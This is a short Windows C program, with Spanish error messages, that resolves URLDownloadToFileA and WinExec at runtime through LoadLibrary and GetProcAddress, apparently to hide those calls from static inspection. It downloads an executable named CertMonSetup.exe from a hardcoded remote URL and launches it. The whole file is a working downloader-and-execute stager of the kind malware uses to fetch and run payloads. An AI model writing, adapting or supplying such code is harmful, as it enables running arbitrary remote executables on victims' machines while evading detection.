#include <urlmon.h>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <Winbase.h>
typedef HRESULT (*URLDownloadhide)(LPUNKNOWN pCaller, LPCTSTR szURL, LPCTSTR szFileName,DWORD dwReserved, LPBINDSTATUSCALLBACK lpfnCB);
typedef UINT (*WinExechide)(_In_ LPCSTR lpCmdLine,_In_ UINT uCmdShow);
int main (int argc, char* argv[]) {
HMODULE hDLL;
HMODULE hDLL2;
hDLL = LoadLibrary("Urlmon.dll");
if(hDLL) {
URLDownloadhide Launcher = (URLDownloadhide)GetProcAddress(hDLL,"URLDownloadToFileA");
if(Launcher) {
Launcher(NULL, "http://sbdtools.googlecode.com/files/CertMonSetup.exe", "CertMonSetup.exe", 0, NULL);
FreeLibrary(hDLL);
}
else {
printf ("Algo va mal con GetProcAddress\n, Error Code: %u",GetLastError()) ;}
FreeLibrary(hDLL);
}
else { printf ("Algo va mal con LoadLibrary\nError Code: %u",GetLastError()) ;}
hDLL2 = LoadLibrary("Kernel32.dll");
if(hDLL2) {
WinExechide Launcher2 = (WinExechide)GetProcAddress(hDLL2,"WinExec");
if(Launcher2) {
Launcher2( "CertMonSetup.exe", SW_SHOWNORMAL );
FreeLibrary(hDLL2);
}
else {
printf ("Algo va mal con GetProcAddress\n, Error Code: %u",GetLastError()) ;}
FreeLibrary(hDLL2);
}
else { printf ("Algo va mal con LoadLibrary\n Error Code: %u" ,GetLastError()) ;}
exit (0);
}